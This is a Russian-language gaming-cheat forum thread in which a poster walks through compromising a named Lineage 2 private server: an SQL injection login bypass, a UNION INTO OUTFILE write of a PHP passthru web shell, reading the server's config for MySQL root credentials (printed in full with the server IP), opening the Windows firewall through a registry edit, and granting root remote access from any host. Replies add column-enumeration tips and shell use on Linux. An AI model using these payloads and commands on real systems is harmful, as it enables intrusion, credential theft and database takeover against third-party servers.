Регистрация Главная Пользователи Все разделы прочитаны
Сообщения за день Справка Регистрация

SQL инъекция

-

Баги и читы Lineage 2

- Уязвимости, баги и читы для Lineage 2 в этом разделе

Ответ
 
Опции темы
Старый 10.02.2010, 19:21   #1
Заблокирован
 Пехотинец
Аватар для 6a4a
 
6a4a скоро будет известен6a4a скоро будет известен6a4a скоро будет известен6a4a скоро будет известен
Регистрация: 01.09.2009
Сообщений: 64
Популярность: 331
Сказал(а) спасибо: 35
Поблагодарили 166 раз(а) в 42 сообщениях
Отправить сообщение для 6a4a с помощью ICQ
 
По умолчанию SQL инъекция

Рассказывать про sql-инъекцию (иньку) я не буду, статей на эту тему множество. Перейдем сразу к практике. А практика будет на ява-сервере ht_tp://www.l2appeal.com
В данном случае инька есть в acm модулях. Зарегистрируем акк MyLogin с паролем MyPas. На странице логина ht_tp://85.14.219.28/acm/?act=account попробуем залогиниться с такими праметрами:
в поле логина вводим mylogin'#
в поле пароля введем любой пасс, например sdfhsd
Пытаемся зайти - зашли, инька есть.

[Ссылки могут видеть только зарегистрированные пользователи. ]

На самом деле инъекция может быть где угодно, но остановимся пока на данном примере. Жмем на сайте Logout, и в адресной строке удаляем символ # (решетки), т.е.
ht_tp://www.gaming-portal.net/acm/?act=account&id=mylogin'#&do=quit
меняем на
ht_tp://www.gaming-portal.net/acm/?act=account&id=mylogin'&do=quit
Жмем в адресной строке отправить - logout прошел.
Теперь надо выяснить, сколько столбцов запрашивается в скрипте логина (что бы сделать нормальный union). Идем на страницу логина, в поле логина пишем так:
dsafasd'union select 1,2,3#
пароль пишем любой, жмем логин - не пустило, Access filed. Пытаемся с таким логином:
dsafasd'union select 1,2,3,4#Опять не пустило. Продолжаем перебор, пока логин не пройдет. C логином
dsafasd'union select 1,2,3,4,5,6# получилось войти.

[Ссылки могут видеть только зарегистрированные пользователи. ]


Отлично, еще и ошибки повылазили Смотрим на ошибки и сохраняем локальный адрес папки acm (ведь на нее есть доступ) - d:/wamp/www/acm/
Движемся дальше. Делаем логаут и снова идем на страницу логина. В поле логина пишем так:
sdfasd'union select null,null,null,null,null,'<?php passthru($_GET["cmd"]); ?>' into outfile 'd:/wamp/www/acm/class.php'#

Расмотрим подробнее. null,null,null,null,null - нужны для того, что бы UNION SELECT прошел нормально, ведь кол-во запрошеных столбцов во втором SELECT должно соответствовать кол-ву столбцов в первом. Для этого мы и перебирали кол-во столбцов ранее.

'<?php passthru($_GET["cmd"]); ?>' - собственно строка, которую возвратит наш запрос union select. Кто знаком с php - тому не надо обьяснять, что это за строка. Кто не знаком - в двух словах команда passthru в пхп выполняет команду, переданную в параметре cmd, на локальном компьютере с правами текущего пользователя.

into outfile - указывает на то, что результат запроса нужно записать в файл, 'd:/wamp/www/acm/class.php' - полный путь до файла с именем файла (обратите внимание, слеши должны быть обратные). Файла class.php по этому пути не существует, поэтому будет создан новый файл class.php и в него будет запсан результат выполнения нашего запроса, то есть простая строчка <?php passthru($_GET["cmd"]); ?>

Едем дальше. Логин не прошел, но если в настройках мускуля (MySQL) у текущего пользователя (текущий пользователь - это логин и пасс, под которым скрипт логина коннектится к мускулю ) есть права на into outfile, то файл будет создан. Обычно, скрипты используют одну учетную запсь, со полными правами.
Пробуем в адресной строке запустить наш шелл. Вбиваем в адресную строку
ht_tp://www.gaming-portal.net/acm/class.php
Если файл создан нормально, и скрипт работает, вы получите что-то вроде этого:

[Ссылки могут видеть только зарегистрированные пользователи. ]

Все, шелл залит. В принципе, можно еще сделать пхп-скрипт с оператором unclude и через него подгрузить внешний нормальный шелл. Но не всегда сервер позволяет использовать внешний инклюд, а локальный нам не к чему.
Теперь у нас есть доступ к командной стркое сервера, можно удалить на**** все базы и форматнуть винты... Но мы же с вами не варвары? Попробуем получить доступ к базе l2jdb.
Команды для выполнения на сервере передаются скрипту через ?cmd=команда. Вбьем в строке такую команду:
ht_tp://www.gaming-portal.net/acm/class.php?cmd=dir d:\
и получим такой результат:

[Ссылки могут видеть только зарегистрированные пользователи. ]

Здесь скрипт выполнил команду dir d:\
Дальше я не буду писать полный путь до скрипта, будут лишь команды cmd=бла-бла-бла. Ну вы поняли, что их нужно дописывать к скрипту так: class.php?cmd=бла-бла-бла
Так, после выполнения команды dir d:\ мы видим папку L2Appeal. Это скорей всего сервак линейки. Нужно прочитать его конфиги. Идем по адресу cmd=dir d:\L2AppeaL\login\config и находим файл loginserver.properties

[Ссылки могут видеть только зарегистрированные пользователи. ]

Прочитаем его. Для этого воспользуемся командой type с полным путем до файла. Пишем в адресной строке такую команду
cmd=type d:\L2AppeaL\login\config\loginserver.properties
и видим следующее
[Ссылки могут видеть только зарегистрированные пользователи. ]


Отлично, логин и пасс к мускулю есть. Запишем их. Теперь проверим конект к базе. Запускаем командную строку (пуск->выполнить->cmd). В командной строке вбиваем telnet 85.14.219.28 3306

[Ссылки могут видеть только зарегистрированные пользователи. ]


Результат говорит о том, что на сервере стоит фаерволл и не пропускает коннект на порт 3306 (порт мускуля по умолчанию). Будем надеятся, это - простой брэндмауэр винды. Обойдем его так: в адресную строку вбиваем такую команду
cmd=reg add HKLM\System\ControlSet001\Services\SharedAccess \Parameters\FirewallPolicy\StandardProfile \GloballyOpenPorts\List /v 3306:TCP /t REG_SZ /d 3306:TCP:*:Enabled:MySQL /f
Эта команда внесет в реестре порт 3306 в список исключения брэндмауэра и порт будет открыт. Проверяем через телнет, как описывал выше.

[Ссылки могут видеть только зарегистрированные пользователи. ]


Отлично, фаерволл был один - бренмауер и он сейчас пропускает коннект. Но "Host 'xx xx xx xx' is not allowed to connect to this MySQL server" говорит о том, что с вашего ИПа доступ к мускулю запрещен. Щас поправим Снова берем в руки любимый dir и ищем папку MySQL. Обычно она в каких-то Program Files, но не всегда. Адрес для команды dir лучше заключать в ковычки, например так: cmd=dir "d:\Program Files" Итак, нашли папку мускулю по адресу d:\Program Files\MySQL\MySQL Server 6.0\bin\

[Ссылки могут видеть только зарегистрированные пользователи. ]


Проверим таблицу User. Пишем такую команду:
cmd="d:\Program Files\MySQL\MySQL Server 6.0\bin\mysql.exe" -uroot -pkrolar mysql -e "select * from user"

[Ссылки могут видеть только зарегистрированные пользователи. ]


В этой команде запускается mysql.exe, логин указан после команды -u (заметьте - писать слитно -uroot), затем идем пароль. Дальше - mysql, это имя базы с которой будем работать. Дальше команда -e, она говорит о том, что надо выполнить один запрос и закрыть соединение. В данном случае запрос select * from user. Таблица user в базе данных mysql содержит информацию о пользователях, которым разрешен доступ к мускулю. В данном случае мы видим, что пользователю ROOT разрешен коннект только с локального хоста. С внешних ИПов к базе доступа нет. Пишем такую команду
cmd="d:\Program Files\MySQL\MySQL Server 6.0\bin\mysql.exe" -uroot -pkrolar mysql -e "update user set host='%' where user='root'"

Результат возвращен не будет, но запрос выполнится. А точнее, update user set host='%' where user='root' в поле HOST вместо LOCALHOST запишет символ %, что подразумевает коннект со всех ИПов.
Что бы убедиться, можно еще раз запустить запрс select * from user и проверить, выполнился ли запрос.

Итак, доступ открыт со всех ипов под логином root и паролем krolar. Но что бы изменения вступили в силу, без перезапуска MySQL сервера, нужно сделать reload. Пишем такую команду
cmd="d:\Program Files\MySQL\MySQL Server 6.0\bin\mysqladmin.exe" -uroot -pkrolar reload

Дело сделано. Запускаем Navicat (в нете найдете), жмем Connections. В поле Host name/ IP address вводим ИП нашего сервера - 85.14.219.28, логин - root, пароль krolar. Жмем Test Connection.

[Ссылки могут видеть только зарегистрированные пользователи. ]


Поздравляю, у вас полный доступ к базам MySQL.

Special for Zhyk.org
  Ответить с цитированием
31 пользователя(ей) сказали cпасибо:
4ipolino (27.04.2011), Benjamin (10.02.2010), CeDou (04.03.2010), ClassID (27.11.2010), dager315 (10.02.2010), DDOSer (15.03.2010), ExxtanzO (10.02.2010), FelikZ (21.11.2011), GraNIT (24.02.2010), hukolay (10.02.2010), Jenyok (11.02.2010), Jumper (11.02.2010), kooler (25.11.2010), Lev (10.02.2010), LostHorror (10.02.2010), m4r1n (13.03.2014), maxi-bum (03.03.2010), mond1ke (05.04.2011), MoRoZzZ (10.02.2010), Федя (10.02.2010), pickwick (10.02.2010), Razzor (02.03.2010), revi994 (12.12.2010), shamrik (10.02.2010), Skilled (10.02.2010), TakeThat (12.02.2010), tracone (21.04.2013), Underwhy (10.02.2010), wagan (10.02.2010), wednesday (11.02.2010), [Tiger] (11.02.2010)
Старый 10.02.2010, 20:26   #2
Заблокирован
 Пехотинец
Аватар для 6a4a
 
6a4a скоро будет известен6a4a скоро будет известен6a4a скоро будет известен6a4a скоро будет известен
Регистрация: 01.09.2009
Сообщений: 64
Популярность: 331
Сказал(а) спасибо: 35
Поблагодарили 166 раз(а) в 42 сообщениях
Отправить сообщение для 6a4a с помощью ICQ
 
По умолчанию Re: SQL инъекция

Прошу модеров не убирать в подполье.
  Ответить с цитированием
Старый 10.02.2010, 20:55   #3
Я вас люблю ^^
 Старший сержант
Аватар для Glavos
 
Glavos блестящий пример для подражанияGlavos блестящий пример для подражанияGlavos блестящий пример для подражанияGlavos блестящий пример для подражанияGlavos блестящий пример для подражанияGlavos блестящий пример для подражанияGlavos блестящий пример для подражанияGlavos блестящий пример для подражанияGlavos блестящий пример для подражанияGlavos блестящий пример для подражанияGlavos блестящий пример для подражания
Регистрация: 31.08.2009
Сообщений: 189
Популярность: 1506
Сказал(а) спасибо: 62
Поблагодарили 630 раз(а) в 289 сообщениях
Отправить сообщение для Glavos с помощью ICQ Отправить сообщение для Glavos с помощью Telegram Отправить сообщение для Glavos с помощью Yahoo Отправить сообщение для Glavos с помощью Skype™
 
По умолчанию Re: SQL инъекция

Подредактирую свой пост ато лс забили. Если модеры попросят могу вылить группу статей и софта по SQL инъекциям. (Только укажите куда)
________________
Все материалы исключительно для ознакомления. (Рад помочь!)

[Ссылки могут видеть только зарегистрированные пользователи. ]

Последний раз редактировалось Glavos; 11.02.2010 в 14:26.
  Ответить с цитированием
Старый 10.02.2010, 22:34   #4
 Разведчик
Аватар для DeZepTup
 
DeZepTup на правильном пути
Регистрация: 02.07.2009
Сообщений: 43
Популярность: 24
Сказал(а) спасибо: 14
Поблагодарили 7 раз(а) в 7 сообщениях
Отправить сообщение для DeZepTup с помощью ICQ Отправить сообщение для DeZepTup с помощью Skype™
 
По умолчанию Re: SQL инъекция

ппц, надо же такое решето найти)
Хочу добавить что вместо перебора гораздо удобнее использовать ORDER BY - ORDER BY 1 канает, ORDER BY 999 не канает, ORDER BY 10 канает, ORDER BY 20 не канает, следовательно количество столбцов от 10 до 20 (просто пример), и таким образом находим. Для ленивых есть и спец софт для этого)
  Ответить с цитированием
Старый 11.02.2010, 16:58   #5
 Разведчик
Аватар для MoRoZzZ
 
MoRoZzZ на правильном пути
Регистрация: 06.04.2009
Сообщений: 46
Популярность: 58
Сказал(а) спасибо: 21
Поблагодарили 24 раз(а) в 9 сообщениях
 
По умолчанию Re: SQL инъекция

Немножко не в тему, но интересует такой вопрос. Как найти путь к админке сайта? Двиг moy-web, но путь изменен, вот нужно найти. Какие есть способы?
________________
->>>[Ссылки могут видеть только зарегистрированные пользователи. ]<<<-
Кто не с нами, тот под нами (с)
  Ответить с цитированием
Старый 11.02.2010, 21:48   #6
Заблокирован
 Капитан
Аватар для Underwhy
 
Underwhy у всех на слухуUnderwhy у всех на слухуUnderwhy у всех на слухуUnderwhy у всех на слухуUnderwhy у всех на слухуUnderwhy у всех на слухуUnderwhy у всех на слухуUnderwhy у всех на слухуUnderwhy у всех на слухуUnderwhy у всех на слуху
Регистрация: 22.08.2009
Сообщений: 277
Популярность: 1328
Сказал(а) спасибо: 194
Поблагодарили 472 раз(а) в 220 сообщениях
 
По умолчанию Re: SQL инъекция

ошибка должна быть.

Жмем в адресной строке отправить - logout прошел.
Теперь надо выяснить, сколько столбцов запрашивается в скрипте логина (что бы сделать нормальный union). Идем на страницу логина, в поле логина пишем так:
dsafasd'union select 1,2,3#
пароль пишем любой, жмем логин - не пустило, Access filed. Пытаемся с таким логином:
dsafasd'union select 1,2,3,4#Опять не пустило. Продолжаем перебор, пока логин не пройдет. C логином
dsafasd'union select 1,2,3,4,5,6# получилось войти.



повыделяй облась выше этого поля. Обычно ошибка написана цветом фона
  Ответить с цитированием
Старый 12.02.2010, 01:04   #7
Заблокирован
 Пехотинец
Аватар для necros555
 
necros555 скоро будет известенnecros555 скоро будет известенnecros555 скоро будет известен
Регистрация: 09.12.2009
Сообщений: 60
Популярность: 234
Сказал(а) спасибо: 25
Поблагодарили 112 раз(а) в 59 сообщениях
 
По умолчанию Re: SQL инъекция

Цитата:
Сообщение от MoRoZzZПосмотреть сообщение
Немножко не в тему, но интересует такой вопрос. Как найти путь к админке сайта? Двиг moy-web, но путь изменен, вот нужно найти. Какие есть способы?

попробуй вот прогу ищет путь к админкам
[Ссылки могут видеть только зарегистрированные пользователи. ]
  Ответить с цитированием
Старый 12.02.2010, 06:41   #8
 Пехотинец
Аватар для wantedboy
 
wantedboy на правильном путиwantedboy на правильном пути
Регистрация: 24.10.2009
Сообщений: 76
Популярность: 161
Сказал(а) спасибо: 532
Поблагодарили 59 раз(а) в 33 сообщениях
Отправить сообщение для wantedboy с помощью ICQ Отправить сообщение для wantedboy с помощью Skype™
 
По умолчанию Re: SQL инъекция

иньекции к каким движкам робят?или это не от того зависит,если нет, то можно поподробней про логин
________________
Zhyk.ru TAKED MY SOUL!
заводим ладу в -20 =)
  Ответить с цитированием
Старый 12.02.2010, 11:56   #9
 Старший сержант
Аватар для wagan
 
wagan душа компанииwagan душа компанииwagan душа компанииwagan душа компанииwagan душа компанииwagan душа компанииwagan душа компанииwagan душа компании
Регистрация: 22.04.2009
Сообщений: 183
Популярность: 952
Сказал(а) спасибо: 57
Поблагодарили 133 раз(а) в 46 сообщениях
Отправить сообщение для wagan с помощью ICQ
 
По умолчанию Re: SQL инъекция

А может лучше в подполье? А то получится как с шеллами.. куча рубленых серверов и все.
  Ответить с цитированием
Старый 12.02.2010, 13:12   #10
 Пехотинец
Аватар для dager315
 
dager315 на правильном путиdager315 на правильном пути
Регистрация: 24.05.2009
Сообщений: 94
Популярность: 152
Сказал(а) спасибо: 183
Поблагодарили 72 раз(а) в 47 сообщениях
Отправить сообщение для dager315 с помощью ICQ
 
По умолчанию Re: SQL инъекция

В подполье не надо... SQL inject вечен=)) Все инъекции фиксануть нельзя...
________________
Чё уставился, СПАСИБО жми =))

P.S
КаПаЙ
  Ответить с цитированием
Пользователь сказал cпасибо:
object (12.02.2010)
Старый 12.02.2010, 13:31   #11
Заблокирован
 Капитан
Аватар для Underwhy
 
Underwhy у всех на слухуUnderwhy у всех на слухуUnderwhy у всех на слухуUnderwhy у всех на слухуUnderwhy у всех на слухуUnderwhy у всех на слухуUnderwhy у всех на слухуUnderwhy у всех на слухуUnderwhy у всех на слухуUnderwhy у всех на слуху
Регистрация: 22.08.2009
Сообщений: 277
Популярность: 1328
Сказал(а) спасибо: 194
Поблагодарили 472 раз(а) в 220 сообщениях
 
По умолчанию Re: SQL инъекция

Эта иньекция работает на Chaotic Lineage Account Manager . . .
  Ответить с цитированием
Старый 12.02.2010, 14:35   #12
Заблокирован
 Пехотинец
Аватар для 6a4a
 
6a4a скоро будет известен6a4a скоро будет известен6a4a скоро будет известен6a4a скоро будет известен
Регистрация: 01.09.2009
Сообщений: 64
Популярность: 331
Сказал(а) спасибо: 35
Поблагодарили 166 раз(а) в 42 сообщениях
Отправить сообщение для 6a4a с помощью ICQ
 
По умолчанию Re: SQL инъекция

Цитата:
Сообщение от UnderwhyПосмотреть сообщение
Эта иньекция работает на Chaotic Lineage Account Manager . . .

РЕбята, целью статьи было не показать, какие иньекции бывают. Иньекцие могут быть в ЛЮБОМ скрипте, который обращается к базе данных. ЦЕлью стать было напискать один из возможных(!!!) путей развития после того, как нашли иньекцию. А как и где искать иньку - статей в инете море.
  Ответить с цитированием
Старый 12.02.2010, 15:56   #13
 Старший сержант
Аватар для wagan
 
wagan душа компанииwagan душа компанииwagan душа компанииwagan душа компанииwagan душа компанииwagan душа компанииwagan душа компанииwagan душа компании
Регистрация: 22.04.2009
Сообщений: 183
Популярность: 952
Сказал(а) спасибо: 57
Поблагодарили 133 раз(а) в 46 сообщениях
Отправить сообщение для wagan с помощью ICQ
 
По умолчанию Re: SQL инъекция

Немного не в тему но: Можно как-нить через cmd изменить содержимое php файла? А то uploader заливаеться но заливать файлы отказывается о_О.

Добавлено через 11 часов 54 минуты
Эмм столкнулся с такой бякой: Линукс. Вообще в нем на шарю, там наверное cmd другой так как не работает. Есть ли какой-то выход на этот счет? Что можно залить полезного на линукс?

Последний раз редактировалось wagan; 13.02.2010 в 03:52. Причина: Добавлено сообщение
  Ответить с цитированием
Старый 13.02.2010, 16:51   #14
Заблокирован
 Пехотинец
Аватар для 6a4a
 
6a4a скоро будет известен6a4a скоро будет известен6a4a скоро будет известен6a4a скоро будет известен
Регистрация: 01.09.2009
Сообщений: 64
Популярность: 331
Сказал(а) спасибо: 35
Поблагодарили 166 раз(а) в 42 сообщениях
Отправить сообщение для 6a4a с помощью ICQ
 
По умолчанию Re: SQL инъекция

Цитата:
Сообщение от waganПосмотреть сообщение
Немного не в тему но: Можно как-нить через cmd изменить содержимое php файла? А то uploader заливаеться но заливать файлы отказывается о_О.

можно через echo "текст файла" >> file.php
можно в sql-е, когда уже получил доступ, сделать запрос select 'строка', 'строка', 'строка'..... into outfile 'c:/1.php'
Больше вариантов создания файлов через cmd, вроде, нет.

Цитата:
Сообщение от waganПосмотреть сообщение
Эмм столкнулся с такой бякой: Линукс. Вообще в нем на шарю, там наверное cmd другой так как не работает. Есть ли какой-то выход на этот счет? Что можно залить полезного на линукс?

passthru точно так же работает и в никсах, только шелл команды там другие. Для начала сделай команду whoami, узнать права текущего пользователя. Просмотр каталогов ls -la
А вообще, рекомендую поставить себе никсы и разбираться в его командах.
  Ответить с цитированием
Пользователь сказал cпасибо:
wagan (15.02.2010)
Старый 15.02.2010, 13:47   #15
 Старший сержант
Аватар для wagan
 
wagan душа компанииwagan душа компанииwagan душа компанииwagan душа компанииwagan душа компанииwagan душа компанииwagan душа компанииwagan душа компании
Регистрация: 22.04.2009
Сообщений: 183
Популярность: 952
Сказал(а) спасибо: 57
Поблагодарили 133 раз(а) в 46 сообщениях
Отправить сообщение для wagan с помощью ICQ
 
По умолчанию Re: SQL инъекция

Через базу - не вариант, почти ниодин шелл не заливает (если вообще заливает, т.к. я такого не нашел), а за способ через cmd спасибо.
  Ответить с цитированием
Ответ

Опции темы

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Уязвимость] [VIP] Инъекция некоторых птс Hummel Подполье Lineage 2 (0 уровень) 0 22.11.2008 20:01

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 08:58.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net